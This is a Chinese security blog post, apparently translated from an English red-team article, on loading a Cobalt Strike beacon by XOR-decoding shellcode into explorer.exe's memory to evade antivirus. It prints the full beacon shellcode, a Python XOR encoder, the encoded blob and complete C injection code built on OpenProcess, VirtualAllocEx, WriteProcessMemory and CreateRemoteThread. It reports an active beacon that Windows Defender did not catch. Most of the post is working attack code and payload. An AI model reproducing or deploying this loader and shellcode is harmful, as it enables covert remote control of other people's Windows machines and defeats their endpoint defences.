通过内存解码的方式加载CobaltStrike的Beacon免杀马

  • A+
所属分类:安全文章

通过内存解码的方式加载CobaltStrike的Beacon免杀马

在过去的一段时间中,我一直在研究有关win32 API以及如何在红队武器中使用它们,之前我已经做过一些与进程注入相关的工作,但我一直在研究一些更高级的技术。

https://github.com/mhaskar/shellcode-process-injection

因此,我采用了用C实现的shellcode注入并尝试通过为其实现解码线程将其提升到一个新的水平,并确保将我的shellcode以编码的方式写入内存,然后在以后对其进行解码运行。

原始进程注入技术非常易于使用和实施,你只需要打开所需的进程,在该进程上分配空间,编写你的shellcode然后执行即可。

我们将在这里做几乎相同的事情,但是在编写一个简单的python脚本对我的shellcode进行编码之前,我将对我的shellcode进行编码,然后,稍后,我们将让C代码在运行时对其进行解码,然后在分配后将每个字节写入内存中我们想要的空间。

另外,我将更深入地研究一些WIn32 API,并解释如何在底层执行每个API。

通过内存解码的方式加载CobaltStrike的Beacon免杀马
0x01 进程注入

如前所述,shellcode进程注入技术将执行以下操作:

· 打开一个进程并检索该进程的HANDLE。

· 在远程进程中分配空间(检索内存地址)。

· 将数据(shellcode)写入该进程中。

· 执行shellcode。

我们可以使用几个Win32 API执行这些步骤:

· OpenProcess()

· VirtualAllocEx()

· WriteProcessMemory()

· CreateRemoteThread()

在正常情况下,我们会将原始数据“ shellcode”直接写入到内存中,但是如果AV / EDR检测到了Shellcode,它们肯定会发出警报,因此,我们需要对Shellcode和将其保存为二进制内部的已编码shellcode,然后,我们需要对其进行解码并将其写入内存以避免检测。

通过内存解码的方式加载CobaltStrike的Beacon免杀马
0x02 Shellcode编码

我们需要对shellcode进行编码,以避免像我之前提到的那样被检测到,要做到这一点,我们需要以可逆的方式修改该shellcode,该方式可用于检索shellcode的原始状态,并且我们可以在每个操作码上通过执行一些更改来做到这一点,例如:

· 异或

· 

· 

· 交换

我将在我的shellcode的每个操作码上使用XOR按位运算,我将使用Cobalt Strike beacon作为我的shellcode,shellcode 如下:

/* length: 887 bytes */

unsigned char buf[] = "xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x56x1fx00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx35x6ex6bx4fx00x03x9axf4xbbxe0xddx3ex6cx87xa5x05x4bx82x51x2fxd5x68x67x15xd6xfdx10xf3xa5x90x60xeaxbaxfex1fx26x2dx04xf3xecxcbxd4x73x94x57x98x5exdexecxb8x3exd9x4ex32xccx38xe3x94x06x1dx73x2dxb3xd4x62x26xcax5axaex52xefxf4xc0x81x77x97xcexd5x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx34x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x38x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x35x2ex31x3bx20x54x72x69x64x65x6ex74x2fx34x2ex30x3bx20x47x54x42x37x2ex34x3bx20x49x6ex66x6fx50x61x74x68x2ex32x29x0dx0ax00x61xe2x49x6cxb5x31x92x20x19xc9xaax69x2bxbcxc1x8bx28xf9x80x6cx92xacxbaxeax06x32x05xc2x38x1bx0fx3ex85x39xc3x8ax12x21xe7x51x80x80x30x02xe7xccx8fx34x38xd1xe2x48xf0x28x21xe9xd7xa6x47x58x0ex48x8cx1dx16xadx7dxadxbdxa4x40x58x4bx5fx3dxa9xd0x55x19xdfx43xf1x69xbax0cx81x6fx91x72x94xc6x65xb4x8dx5bx04x58x68x72x93xc3xbcx46x11x0bxf8x50x26x52x15x49xdbx36x0dx75x5dx81x5dx47x1bx0fx5ex25x50x34x23xc1x69xfdx22x75x5dxeaxa4x2ex40x98x12x72x8exd4xdexefxf2x42xddx08x6bxa3x74x13x6cxa9x82xfcx25xecxe6x22xeax9bx4bx58xa8x85x67xa1x78x1exaax07x31xd7xcfx4ax74xf1x30x63x3ex0ex5cx17x53x2fx69x67x92xf8x28xfexd6x6fxcex06xc5xddxb2x0dx71xf4xdax18x5ex26x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x30x2ex30x2ex30x2ex31x00x58x56x3dxd2";

以下是我们的编码器代码:

#!/usr/bin/python


import sys


raw_data = "xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x56x1fx00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx35x6ex6bx4fx00x03x9axf4xbbxe0xddx3ex6cx87xa5x05x4bx82x51x2fxd5x68x67x15xd6xfdx10xf3xa5x90x60xeaxbaxfex1fx26x2dx04xf3xecxcbxd4x73x94x57x98x5exdexecxb8x3exd9x4ex32xccx38xe3x94x06x1dx73x2dxb3xd4x62x26xcax5axaex52xefxf4xc0x81x77x97xcexd5x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx34x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x38x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x35x2ex31x3bx20x54x72x69x64x65x6ex74x2fx34x2ex30x3bx20x47x54x42x37x2ex34x3bx20x49x6ex66x6fx50x61x74x68x2ex32x29x0dx0ax00x61xe2x49x6cxb5x31x92x20x19xc9xaax69x2bxbcxc1x8bx28xf9x80x6cx92xacxbaxeax06x32x05xc2x38x1bx0fx3ex85x39xc3x8ax12x21xe7x51x80x80x30x02xe7xccx8fx34x38xd1xe2x48xf0x28x21xe9xd7xa6x47x58x0ex48x8cx1dx16xadx7dxadxbdxa4x40x58x4bx5fx3dxa9xd0x55x19xdfx43xf1x69xbax0cx81x6fx91x72x94xc6x65xb4x8dx5bx04x58x68x72x93xc3xbcx46x11x0bxf8x50x26x52x15x49xdbx36x0dx75x5dx81x5dx47x1bx0fx5ex25x50x34x23xc1x69xfdx22x75x5dxeaxa4x2ex40x98x12x72x8exd4xdexefxf2x42xddx08x6bxa3x74x13x6cxa9x82xfcx25xecxe6x22xeax9bx4bx58xa8x85x67xa1x78x1exaax07x31xd7xcfx4ax74xf1x30x63x3ex0ex5cx17x53x2fx69x67x92xf8x28xfexd6x6fxcex06xc5xddxb2x0dx71xf4xdax18x5ex26x00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx31x30x2ex30x2ex30x2ex31x00x58x56x3dxd2"


new_shellcode = []

for opcode in raw_data:

        new_opcode = (ord(opcode) ^ 0x01)

        new_shellcode.append(new_opcode)



print "".join(["\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])

该脚本将读取我们的shellcode的每个操作码,然后将其与字节0x01(在这种情况下是我们的密钥)进行异或,然后将每个编码的操作码附加到新列表中,最后,将其打印为如下的shellcode :

通过内存解码的方式加载CobaltStrike的Beacon免杀马

运行脚本后,我们获得了已编码的shellcode,我们现在就可以继续。

现在,我们将开始实现将为执行shellcode注入的C代码,我将逐步介绍每个win32 API进行解释。

通过内存解码的方式加载CobaltStrike的Beacon免杀马
0x03 打开进程并获取句柄

我们需要选择一个向其注入shellcode的进程,然后,需要检索该进程的句柄,以便我们可以对其执行一些操作,然后,我们将使用OpenProcess win32 API,该进程代码如下:

#include  

int main(int argc, char *argv[]){


  // The PID that you want to use

  // You can use GetCurrentProcessId() to get the current PID

  int process_id = atoi(argv[1]);


  // Declare a new handle as process variable

  // PROCESS_ALL_ACCESS

  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);


  // If the operation succeeded it will return the handle

  if(process){

    printf("[+] Handle retrieved successfully!n");


    // We can print it as pointer using printf

    printf("[+] Handle value is %pn", process);

  }else{

    printf("[-] Enable to retrieve process handlen");

  }


}

该代码将你要获取其句柄的进程ID作为该代码的第一个参数,然后它将使用具有PROCESS_ALL_ACCESS访问权限的OpenProcess()来打开该进程并将该句柄保存在变量process中,最后,将为我们打印句柄。

实际上,OpenProcess()函数有3个参数,你可以通过此页面查看它们。

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess

另外,你可以从此页面检查所有访问的权限。

https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

在编译代码并运行它以使用pid 4032检索进程“ explorer.exe”的句柄之后,我们将获得以下信息:

通过内存解码的方式加载CobaltStrike的Beacon免杀马

我们成功检索到该句柄。

通过内存解码的方式加载CobaltStrike的Beacon免杀马
0x04 在远程进程上分配空间

检索句柄后的下一步将是在该进程内分配空间,我们可以使用VirtualAllocEx()使用以下代码来实现:

#include  

int main(int argc, char *argv[]){


   char data[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

    

  // The PID that you want to use

   int process_id = atoi(argv[1]);


  // Declare a new handle as process variable

  // PROCESS_ALL_ACCESS

  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);


  // If the operation succeeded it will return the handle

  if(process){

    printf("[+] Handle retrieved successfully!n");


    // We can print it as pointer using printf

    printf("[+] Handle value is %pn", process);

     

    // Allocate space

    // Define the base_address variable which will save the allocated memory address

    LPVOID base_address;

    base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(base_address){


        printf("[+] Allocated based address is 0x%xn", base_address);


    }else{

        printf("[-] Unable to allocate memory ...n");

    }

     

  }else{

    printf("[-] Unable to retrieve process handlen");

  }


}

我在第7行中添加了一些数据作为转储数据(将被我们的shellcode替换),我们应该让它根据其大小分配内存。

在第25行中,我们将名为“ base_address”的变量声明为LPVOID,它将代表分配的内存的基址。

在第26行中,我们使用VirtualAllocEx()并为其传递以下参数:

· 进程:这是我们之前使用OpenProcess()检索到的句柄

· null:确保该函数将自动分配地址,而不是使用我们已知的地址。

· sizeof(data):将写入内存的数据大小。

· MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE:我们要使用的分配类型,它描述我们要在该分配的内存区域内执行的操作,该区域是读写执行(RWX)

用RWX分配内存区域不是很隐秘,EDR可以将其视为可疑操作。

最后,在第29行中,我们将打印分配的内存的地址,并将其写入数据,并通过运行代码获得以下内容:

通过内存解码的方式加载CobaltStrike的Beacon免杀马

我们将地址“ 0xa50000”作为我们的基址。

让我进一步解释一下,并告诉你该地址的确切含义,然后,将调试器附加到explorer.exe,然后查看该地址的内容:

通过内存解码的方式加载CobaltStrike的Beacon免杀马

然后,我将如下所示转到地址“ 0xa50000”:

通过内存解码的方式加载CobaltStrike的Beacon免杀马

选择表达式并输入地址:

通过内存解码的方式加载CobaltStrike的Beacon免杀马

得到以下结果:

通过内存解码的方式加载CobaltStrike的Beacon免杀马

如我们所见,函数VirtualAllocEx已为我们在explorer.exe中分配了内存空间,我们准备写入数据。

通过内存解码的方式加载CobaltStrike的Beacon免杀马
0x05 将数据写入内存

现在,这是我们技术中最重要的部分,我们将解码原始的操作码并将其直接写入内存,我们将通过从“ 0xA50000”开始写入数据,并将地址一一增加到下一个存储地址来做到这一点。

我们使用xor对我们的shellcode进行编码,现在我们将使用相同的值来解码每个字节并检索每个操作码的原始状态,这是有关此操作的一个示例:

hex(ord("xfc") ^ 0x01) # = 0xfd

hex(ord"xfd") ^ 0x01) # = 0xfc

因此,通过将每个操作码与0x01进行XOR运算,我们将检索原始的shellcode,但这一次不会被AV / EDR进行的静态分析(基于签名)检测所捕获,因为它将在运行时直接写入内存。

即使使用这种类型的编码,你的payload也可能会被标记,因此请确保在操作中使用之前使用更强的编码并对其进行测试。

以下代码将实现内存写入:

#include  


int main(int argc, char *argv[]){


   unsigned char data[] = "xfdx49x82xe5xf1xe9xc9x1x1x1x40x50x40x51x53x50x57x49x30xd3x64x49x8ax53x61x49x8ax53x19x49x8ax53x21x49x8ax73x51x49xexb6x4bx4bx4cx30xc8x49x30xc1xadx3dx60x7dx3x2dx21x40xc0xc8xcx40x0xc0xe3xecx53x40x50x49x8ax53x21x8ax43x3dx49x0xd1x67x80x79x19xax3x74x73x8ax81x89x1x1x1x49x84xc1x75x66x49x0xd1x51x8ax49x19x45x8ax41x21x48x0xd1xe2x57x49xfexc8x40x8ax35x89x49x0xd7x4cx30xc8x49x30xc1xadx40xc0xc8xcx40x0xc0x39xe1x74xf0x4dx2x4dx25x9x44x38xd0x74xd9x59x45x8ax41x25x48x0xd1x67x40x8axdx49x45x8ax41x1dx48x0xd1x40x8ax5x89x49x0xd1x40x59x40x59x5fx58x5bx40x59x40x58x40x5bx49x82xedx21x40x53xfexe1x59x40x58x5bx49x8ax13xe8x4exfexfexfex5cx6bx1x48xbfx76x68x6fx68x6fx64x75x1x40x57x48x88xe7x4dx88xf0x40xbbx4dx76x27x6xfexd4x49x30xc8x49x30xd3x4cx30xc1x4cx30xc8x40x51x40x51x40xbbx3bx57x78xa6xfexd4xeax72x5bx49x88xc0x40xb9x57x1ex1x1x4cx30xc8x40x50x40x50x6bx2x40x50x40xbbx56x88x9exc7xfexd4xeax58x5ax49x88xc0x49x30xd3x48x88xd9x4cx30xc8x53x69x1x3x41x85x53x53x40xbbxeax54x2fx3axfexd4x49x88xc7x49x82xc2x51x6bxbx5ex49x88xf0x49x88xdbx48xc6xc1xfexfexfexfex4cx30xc8x53x53x40xbbx2cx7x19x7axfexd4x84xc1xex84x9cx0x1x1x49xfexcexex85x8dx0x1x1xeaxd2xe8xe5x0x1x1xe9xa3xfexfexfex2ex34x6fx6ax4ex1x2x9bxf5xbaxe1xdcx3fx6dx86xa4x4x4ax83x50x2exd4x69x66x14xd7xfcx11xf2xa4x91x61xebxbbxffx1ex27x2cx5xf2xedxcaxd5x72x95x56x99x5fxdfxedxb9x3fxd8x4fx33xcdx39xe2x95x7x1cx72x2cxb2xd5x63x27xcbx5bxafx53xeexf5xc1x80x76x96xcfxd4x1x54x72x64x73x2cx40x66x64x6fx75x3bx21x4cx6ex7bx68x6dx6dx60x2ex35x2fx31x21x29x62x6ex6cx71x60x75x68x63x6dx64x3ax21x4cx52x48x44x21x39x2fx31x3ax21x56x68x6fx65x6ex76x72x21x4fx55x21x34x2fx30x3ax21x55x73x68x65x64x6fx75x2ex35x2fx31x3ax21x46x55x43x36x2fx35x3ax21x48x6fx67x6ex51x60x75x69x2fx33x28xcxbx1x60xe3x48x6dxb4x30x93x21x18xc8xabx68x2axbdxc0x8ax29xf8x81x6dx93xadxbbxebx7x33x4xc3x39x1axex3fx84x38xc2x8bx13x20xe6x50x81x81x31x3xe6xcdx8ex35x39xd0xe3x49xf1x29x20xe8xd6xa7x46x59xfx49x8dx1cx17xacx7cxacxbcxa5x41x59x4ax5ex3cxa8xd1x54x18xdex42xf0x68xbbxdx80x6ex90x73x95xc7x64xb5x8cx5ax5x59x69x73x92xc2xbdx47x10xaxf9x51x27x53x14x48xdax37xcx74x5cx80x5cx46x1axex5fx24x51x35x22xc0x68xfcx23x74x5cxebxa5x2fx41x99x13x73x8fxd5xdfxeexf3x43xdcx9x6axa2x75x12x6dxa8x83xfdx24xedxe7x23xebx9ax4ax59xa9x84x66xa0x79x1fxabx6x30xd6xcex4bx75xf0x31x62x3fxfx5dx16x52x2ex68x66x93xf9x29xffxd7x6excfx7xc4xdcxb3xcx70xf5xdbx19x5fx27x1x40xbfxf1xb4xa3x57xfexd4x49x30xc8xbbx1x1x41x1x40xb9x1x11x1x1x40xb8x41x1x1x1x40xbbx59xa5x52xe4xfexd4x49x92x52x52x49x88xe6x49x88xf0x49x88xdbx40xb9x1x21x1x1x48x88xf8x40xbbx13x97x88xe3xfexd4x49x82xc5x21x84xc1x75xb7x67x8ax6x49x0xc2x84xc1x74xd6x59x59x59x49x4x1x1x1x1x51xc2xe9x9exfcxfexfex30x31x2fx31x2fx31x2fx30x1x59x57x3cxd3";

    

  // The PID that you want to use

   int process_id = atoi(argv[1]);


  // Declare a new handle as process variable

  // PROCESS_ALL_ACCESS

  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);


  // If the operation succeeded it will return the handle

  if(process){

    printf("[+] Handle retrieved successfully!n");


    // We can print it as pointer using printf

    printf("[+] Handle value is %pn", process);

     

    // Allocate space

    // Define the base_address variable which will save the allocated memory address

    LPVOID base_address;

    base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(base_address){


        printf("[+] Allocated based address is 0x%xn", base_address);

         

                        // Data chars counter

                int i;


                // Base address counter

                int n = 0;



                for(i = 0; i<=sizeof(data); i++){


                    // Decode shellcode opcode

                    char DecodedOpCode = data[i] ^ 0x01;


                    // Write the decoded bytes in memory address

                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){



                        printf("[+] Byte wrote sucessfully!n");


                        // Increase memory address by 1

                        n++;

                    }

                }

         


    }else{

        printf("[-] Unable to allocate memory ...n");

    }

     

  }else{

    printf("[-] Unable to retrieve process handlen");

  }

这段代码将使用密钥“ 0x01”对每个字节进行解码后,将我们的shellcode写入内存中,正如我们在第39行中看到的那样,我使用了for循环在shellcode的每个元素上移动,然后在第42行中进行了异或每个带有0x01的元素以检索原始操作码,在第45行中,我将解码后的字节写入内存中的特定位置,最后在第51行中,将作为存储计数器的n计数器移至下一个要解码的存储地址,并将操作码写入。

该WriteProcessMemory的()采取了以下参数:

· 进程:这是我们之前使用OpenProcess()检索到的句柄

· base_address + n:这是我们要将操作码写入的地址(从VirtualAllocEx检索到的base_address),n是要移至下一个地址的计数器。

· &DecodedOpCode:DecodedOpCode字节的地址。

· 1:写入的字节数,只有一个字节。

· null:因为我们没有指针来接收写入的字节数。

你可以从此页面检查WriteProcessMemory需要的参数。

https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory

编译并运行程序后,我们将获得以下信息:

通过内存解码的方式加载CobaltStrike的Beacon免杀马

如我们所见,我们将每个字节写入所需的所需地址,现在,让我们使用x64dbg进行调试,然后转到地址“ 0x2ec0000”以获取以下内容:

通过内存解码的方式加载CobaltStrike的Beacon免杀马

如我们所见,将原始字节写入了我们想要的地址(从0x2ec0000开始),一切正常!

通过内存解码的方式加载CobaltStrike的Beacon免杀马
0x06 执行shellcode

最后,我们需要将shellcode作为线程执行,并且可以通过以下代码使用CreateRemoteThread()函数来实现:

#include  


int main(int argc, char *argv[]){



   unsigned char data[] = "xfdx49x82xe5xf1xe9xc9x1x1x1x40x50x40x51x53x50x57x49x30xd3x64x49x8ax53x61x49x8ax53x19x49x8ax53x21x49x8ax73x51x49xexb6x4bx4bx4cx30xc8x49x30xc1xadx3dx60x7dx3x2dx21x40xc0xc8xcx40x0xc0xe3xecx53x40x50x49x8ax53x21x8ax43x3dx49x0xd1x67x80x79x19xax3x74x73x8ax81x89x1x1x1x49x84xc1x75x66x49x0xd1x51x8ax49x19x45x8ax41x21x48x0xd1xe2x57x49xfexc8x40x8ax35x89x49x0xd7x4cx30xc8x49x30xc1xadx40xc0xc8xcx40x0xc0x39xe1x74xf0x4dx2x4dx25x9x44x38xd0x74xd9x59x45x8ax41x25x48x0xd1x67x40x8axdx49x45x8ax41x1dx48x0xd1x40x8ax5x89x49x0xd1x40x59x40x59x5fx58x5bx40x59x40x58x40x5bx49x82xedx21x40x53xfexe1x59x40x58x5bx49x8ax13xe8x4exfexfexfex5cx6bx1x48xbfx76x68x6fx68x6fx64x75x1x40x57x48x88xe7x4dx88xf0x40xbbx4dx76x27x6xfexd4x49x30xc8x49x30xd3x4cx30xc1x4cx30xc8x40x51x40x51x40xbbx3bx57x78xa6xfexd4xeax72x5bx49x88xc0x40xb9x57x1ex1x1x4cx30xc8x40x50x40x50x6bx2x40x50x40xbbx56x88x9exc7xfexd4xeax58x5ax49x88xc0x49x30xd3x48x88xd9x4cx30xc8x53x69x1x3x41x85x53x53x40xbbxeax54x2fx3axfexd4x49x88xc7x49x82xc2x51x6bxbx5ex49x88xf0x49x88xdbx48xc6xc1xfexfexfexfex4cx30xc8x53x53x40xbbx2cx7x19x7axfexd4x84xc1xex84x9cx0x1x1x49xfexcexex85x8dx0x1x1xeaxd2xe8xe5x0x1x1xe9xa3xfexfexfex2ex34x6fx6ax4ex1x2x9bxf5xbaxe1xdcx3fx6dx86xa4x4x4ax83x50x2exd4x69x66x14xd7xfcx11xf2xa4x91x61xebxbbxffx1ex27x2cx5xf2xedxcaxd5x72x95x56x99x5fxdfxedxb9x3fxd8x4fx33xcdx39xe2x95x7x1cx72x2cxb2xd5x63x27xcbx5bxafx53xeexf5xc1x80x76x96xcfxd4x1x54x72x64x73x2cx40x66x64x6fx75x3bx21x4cx6ex7bx68x6dx6dx60x2ex35x2fx31x21x29x62x6ex6cx71x60x75x68x63x6dx64x3ax21x4cx52x48x44x21x39x2fx31x3ax21x56x68x6fx65x6ex76x72x21x4fx55x21x34x2fx30x3ax21x55x73x68x65x64x6fx75x2ex35x2fx31x3ax21x46x55x43x36x2fx35x3ax21x48x6fx67x6ex51x60x75x69x2fx33x28xcxbx1x60xe3x48x6dxb4x30x93x21x18xc8xabx68x2axbdxc0x8ax29xf8x81x6dx93xadxbbxebx7x33x4xc3x39x1axex3fx84x38xc2x8bx13x20xe6x50x81x81x31x3xe6xcdx8ex35x39xd0xe3x49xf1x29x20xe8xd6xa7x46x59xfx49x8dx1cx17xacx7cxacxbcxa5x41x59x4ax5ex3cxa8xd1x54x18xdex42xf0x68xbbxdx80x6ex90x73x95xc7x64xb5x8cx5ax5x59x69x73x92xc2xbdx47x10xaxf9x51x27x53x14x48xdax37xcx74x5cx80x5cx46x1axex5fx24x51x35x22xc0x68xfcx23x74x5cxebxa5x2fx41x99x13x73x8fxd5xdfxeexf3x43xdcx9x6axa2x75x12x6dxa8x83xfdx24xedxe7x23xebx9ax4ax59xa9x84x66xa0x79x1fxabx6x30xd6xcex4bx75xf0x31x62x3fxfx5dx16x52x2ex68x66x93xf9x29xffxd7x6excfx7xc4xdcxb3xcx70xf5xdbx19x5fx27x1x40xbfxf1xb4xa3x57xfexd4x49x30xc8xbbx1x1x41x1x40xb9x1x11x1x1x40xb8x41x1x1x1x40xbbx59xa5x52xe4xfexd4x49x92x52x52x49x88xe6x49x88xf0x49x88xdbx40xb9x1x21x1x1x48x88xf8x40xbbx13x97x88xe3xfexd4x49x82xc5x21x84xc1x75xb7x67x8ax6x49x0xc2x84xc1x74xd6x59x59x59x49x4x1x1x1x1x51xc2xe9x9exfcxfexfex30x31x2fx31x2fx31x2fx30x1x59x57x3cxd3";

    

  // The PID that you want to use

   int process_id = atoi(argv[1]);


  // Declare a new handle as process variable

  // PROCESS_ALL_ACCESS

  HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);


  // If the operation succeeded it will return the handle

  if(process){

    printf("[+] Handle retrieved successfully!n");


    // We can print it as pointer using printf

    printf("[+] Handle value is %pn", process);

     

    // Allocate space

    // Define the base_address variable which will save the allocated memory address

    LPVOID base_address;

    base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if(base_address){


        printf("[+] Allocated based address is 0x%xn", base_address);

         

                        // Data chars counter

                int i;


                // Base address counter

                int n = 0;



                for(i = 0; i<=sizeof(data); i++){


                    // Decode shellcode opcode

                    char DecodedOpCode = data[i] ^ 0x01;


                    // Write the decoded bytes in memory address

                    if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){



                        printf("[+] Byte wrote sucessfully!n");


                        // Increase memory address by 1

                        n++;

                    }

                }

                 

                // Run our code as RemoteThread

                CreateRemoteThread(process, NULL, 100,(LPTHREAD_START_ROUTINE)base_address, NULL, 0, 0x5151);


         


    }else{

        printf("[-] Unable to allocate memory ...n");

    }

     

  }else{

    printf("[-] Unable to retrieve process handlen");

  }

正如在第55行中看到的那样,我们使用CreateRemoteThread()函数在explorer.exe上作为线程执行我们的shellcode,并且CreateRemoteThread()采用了以下参数:

· 进程:这是我们之前使用OpenProcess()检索到的句柄。

· null:获取默认的安全描述符。

· 100:堆栈的初始大小。

· base_address:这是我们的shellcode的第一个操作码。

· null:没有参数传递给线程。

· 0:线程在创建后立即运行。

· 0x5151:线程ID

在运行代码之后,我们将获得以下内容:

通过内存解码的方式加载CobaltStrike的Beacon免杀马

通过内存解码的方式加载CobaltStrike的Beacon免杀马

我们在Windows Explorer中运行了一个活动 beacon,而没有被Windows Defender捕获。

通过内存解码的方式加载CobaltStrike的Beacon免杀马
0x07 分析总结

通过使用这种技术对shellcode进行编码和解码,我们可以轻松绕过AV保护,并在另一个进程中运行shellcode。

你可以根据需要自定义编码器,但也必须编辑解码器,还可以修改代码以满足执行上的需求,并且部分代码仅出于学习目的而编写。

参考及来源:https://shells.systems/in-memory-shellcode-decoding-to-evade-avs/

通过内存解码的方式加载CobaltStrike的Beacon免杀马

通过内存解码的方式加载CobaltStrike的Beacon免杀马

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: